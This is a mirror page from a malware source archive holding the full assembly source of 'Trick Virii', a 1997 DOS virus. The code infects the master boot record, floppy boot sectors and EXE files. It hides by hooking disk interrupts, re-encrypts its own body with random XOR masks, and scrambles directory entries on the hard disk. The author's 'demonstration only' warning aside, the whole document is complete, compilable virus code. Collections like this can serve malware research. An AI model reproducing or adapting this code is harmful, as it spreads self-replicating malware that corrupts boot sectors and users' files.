mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 12:25:29 +00:00
256 lines
6.0 KiB
NASM
256 lines
6.0 KiB
NASM
; Trick Virii (446 bytes length!)
|
|
; (l) 1997 copyleft by Psychomancer // SPS.
|
|
; 2:454/7.64@FidoNet
|
|
|
|
; MBR/BOOT/EXE stealth hard-removable infector.
|
|
; Thanx 2 Nutcracker 4 "cryp_sec" algorithm.
|
|
|
|
; WARNING! 4 compile tasm /m option needed!
|
|
; DON'T RUN IT! ONLY 4 DEMONSTRATION!
|
|
|
|
model tiny
|
|
.code
|
|
|
|
begin: mov cx,decryp_len
|
|
call $+3
|
|
xor ah,ah
|
|
int 15h ; antiheuristic trick (must b CF=1 on return)
|
|
pop si
|
|
sbb al,al ; <- set AL in zero manual on 1st execute!
|
|
; (in DEBUG)
|
|
lea di,[si+decryp_begin-6]
|
|
xor_decryp: sub al,0
|
|
xor_mask equ $-begin-1
|
|
xor cs:[di],al ; decrypt selfbody
|
|
inc di
|
|
loop xor_decryp
|
|
decryp_begin equ $-begin
|
|
decryp_code: sub si,6
|
|
jz file_start ; goto if run from file
|
|
mov bx,7c00h
|
|
xor di,di
|
|
mov ds,di
|
|
mov ss,di
|
|
mov sp,bx
|
|
dec word ptr ds:[413h] ; decrease TOM
|
|
mov ax,[di+3*4]
|
|
mov [si+rom_mask],ax ; store crypt mask
|
|
int 12h
|
|
mov cx,206h
|
|
mov [si+offrand],ch ; set in 2
|
|
shl ax,cl
|
|
mov es,ax
|
|
push ss bx
|
|
rep movsb ; move selfbody 2 new segm
|
|
push es
|
|
mov es,cx
|
|
mov cl,go_after_move
|
|
push cx
|
|
retf
|
|
|
|
;-----------------------------------------------;
|
|
|
|
file_start: mov ax,0deadh
|
|
int 13h ; we present in memory?
|
|
jnc file_exit
|
|
mov ah,13h
|
|
int 2fh
|
|
mov ax,259ah
|
|
int 21h ; set int 9ah on ROM int 13h
|
|
mov ah,13h
|
|
int 2fh
|
|
push cs
|
|
pop es
|
|
mov ax,1600h
|
|
int 2fh
|
|
cmp ax,1600h ; we execute under windoze?
|
|
mov al,0
|
|
org $-1
|
|
jnc $ ; no - will b crypt direntries
|
|
org $-1
|
|
je no_win_run
|
|
mov al,0
|
|
org $-1
|
|
jmp $ ; yeah - no crypt direntries
|
|
org $-1
|
|
no_win_run: mov cs:cryp_switch,al ; store it
|
|
lea bx,buffer
|
|
call copy_2_mbr ; infect mbr on 1st hd
|
|
file_exit: .exit
|
|
|
|
;-----------------------------------------------;
|
|
|
|
go_after_move equ $-begin
|
|
mov si,13h*4
|
|
mov di,9ah*4
|
|
movsw ; set int 9ah on ROM int 13h
|
|
movsw
|
|
mov word ptr [si-4],offset int_13h_entry ; hook int 13h
|
|
mov [si-2],ax
|
|
cmp byte ptr [bx],0ebh ; we loading from floppy boot?
|
|
jne load_from_mbr
|
|
call copy_2_mbr ; yeah - infect mbr on 1st hd
|
|
load_from_mbr: mov cl,11h ; read original mbr code
|
|
read_sec: mov dx,80h
|
|
mov ax,201h
|
|
int 9ah
|
|
retf ; exit
|
|
|
|
;-----------------------------------------------;
|
|
|
|
int_13h_entry: mov cs:store_fn,ah
|
|
mov cs:store_sc,al
|
|
cmp ax,0deadh ; our function?
|
|
je exit_13h_retf
|
|
int 9ah ; call old int 13h
|
|
pushf
|
|
push ax si di ds dx cx es
|
|
pop ds
|
|
jc exit_13h ; exit if error
|
|
mov ax,0
|
|
store_fn = byte ptr $-2
|
|
cmp dl,80h ; non-1st hd?
|
|
je hd_access
|
|
cmp al,3 ; write?
|
|
jne exit_13h
|
|
cmp dx,cx ; floppy?
|
|
ja no_boot_write
|
|
dec cx ; boot?
|
|
jnz no_boot_write
|
|
mov word ptr [bx],3eebh ; yeah - infect floppy boot
|
|
jmp copy_2_boot
|
|
no_boot_write: mov ax,[bx]
|
|
not ax
|
|
mul ah
|
|
sub ax,72bah ; 'MZ' or 'ZM' in buffer?
|
|
jnz exit_13h
|
|
int 1ah ; get timer tick
|
|
mov cl,0 ; randomize
|
|
offrand equ $-begin-1
|
|
xchg dx,ax
|
|
cwd
|
|
idiv cx ; get random
|
|
and dx,dx
|
|
jnz exit_13h
|
|
mov [bx+6],dx ; set number of relocation on zero
|
|
mov word ptr [bx+8],4 ; length of header
|
|
mov [bx+14h],dx ; set cs:ip on zero (i.e. on trick ;)
|
|
mov [bx+16h],dx
|
|
rol byte ptr cs:offrand,1 ; change randomize
|
|
copy_2_boot: lea di,[bx+40h]
|
|
call crypt_self ; self encrypt and move 2 buffer
|
|
pop cx dx
|
|
call write_sec ; write sector on disk
|
|
jmp exit_13h_pop
|
|
hd_access: cmp al,2 ; read?
|
|
jne no_stealth
|
|
and dh,dh ; head is zero?
|
|
jnz hd_read
|
|
dec cx ; cyl/sec is 0/1?
|
|
jnz hd_read
|
|
mov cl,11h
|
|
push cs
|
|
call read_sec ; read original mbr
|
|
exit_13h: pop cx dx
|
|
exit_13h_pop: pop ds di si ax
|
|
popf
|
|
exit_13h_retf: retf 2 ; exit from int 13h
|
|
no_stealth: cmp al,3 ; write?
|
|
jne exit_13h
|
|
hd_read: mov cs:cryp_or_decryp,0 ; set "js"
|
|
org $-1
|
|
js $
|
|
org $-1
|
|
call crypt_sec ; encrypt direntries in buffer
|
|
cryp_switch label byte
|
|
jnc decrypt_sec ; goto if direntries is not found
|
|
pop cx ; restore cyl/sec
|
|
push cx
|
|
mov ah,3
|
|
int 9ah ; re-write crypted direntries
|
|
decrypt_sec: lea ax,exit_13h ; decrypt direntries in buffer
|
|
push ax
|
|
|
|
;-----------------------------------------------;
|
|
|
|
crypt_sec: mov cx,0 ; number of sector
|
|
store_sc = byte ptr $-2
|
|
push cx
|
|
mov si,bx
|
|
scan_next_sec: push cx
|
|
mov cl,10h ; number of direntries on one sector
|
|
scan_next_elem: push cx si
|
|
mov cl,0bh
|
|
next_char_name: lodsb
|
|
cmp al,' ' ; check if filename
|
|
jb get_next_elem
|
|
loop next_char_name
|
|
lodsb
|
|
test al,11001000b ; check if attribute
|
|
jnz get_next_elem
|
|
mov cl,9
|
|
next_char_res: lodsb
|
|
and al,al ; check if normal (not long!) filename
|
|
jnz get_next_elem
|
|
loop next_char_res
|
|
test [si],dl ; already en/decrypted?
|
|
cryp_or_decryp label byte
|
|
js get_next_elem
|
|
xor [si],dl ; en/decrypt direntry
|
|
mov ax,0 ; mask of crypt
|
|
rom_mask equ $-begin-2
|
|
sub ax,[si+1]
|
|
xor [si+5],ax
|
|
mov ah,1 ; set bit
|
|
get_next_elem: pop si cx
|
|
add si,20h ; get next direntry
|
|
loop scan_next_elem
|
|
pop cx ; get next sector
|
|
loop scan_next_sec
|
|
inc cs:cryp_or_decryp ; change condition
|
|
sahf ; store bit on cf
|
|
pop ax
|
|
retn
|
|
|
|
;-----------------------------------------------;
|
|
|
|
crypt_self: push cs
|
|
pop ds
|
|
xor si,si
|
|
in al,40h ; get random mask
|
|
mov [si+xor_mask],al
|
|
mov cl,decryp_begin
|
|
rep movsb ; move unencrypted part
|
|
mov ah,-1
|
|
mov cx,decryp_len
|
|
xor_encryp: sub ah,al
|
|
movsb
|
|
xor es:[di-1],ah
|
|
loop xor_encryp ; move and encrypt selfbody
|
|
retn
|
|
|
|
;-----------------------------------------------;
|
|
|
|
copy_2_mbr: mov cx,1
|
|
push cs
|
|
call read_sec ; read mbr on 1st hd
|
|
cmp byte ptr es:[bx],0 ; already infected?
|
|
org $-1
|
|
mov cx,0
|
|
org $-2
|
|
je already_prs
|
|
mov cl,11h
|
|
call write_sec ; store original mbr in 0/0/17
|
|
mov di,bx
|
|
call crypt_self ; move and encrypt selfbody
|
|
inc cx ; cx=1
|
|
write_sec: mov ax,301h
|
|
int 9ah ; infect mbr
|
|
already_prs: retn
|
|
|
|
decryp_len equ $-decryp_code
|
|
len_body equ $-begin
|
|
buffer label byte
|
|
|
|
end begin
|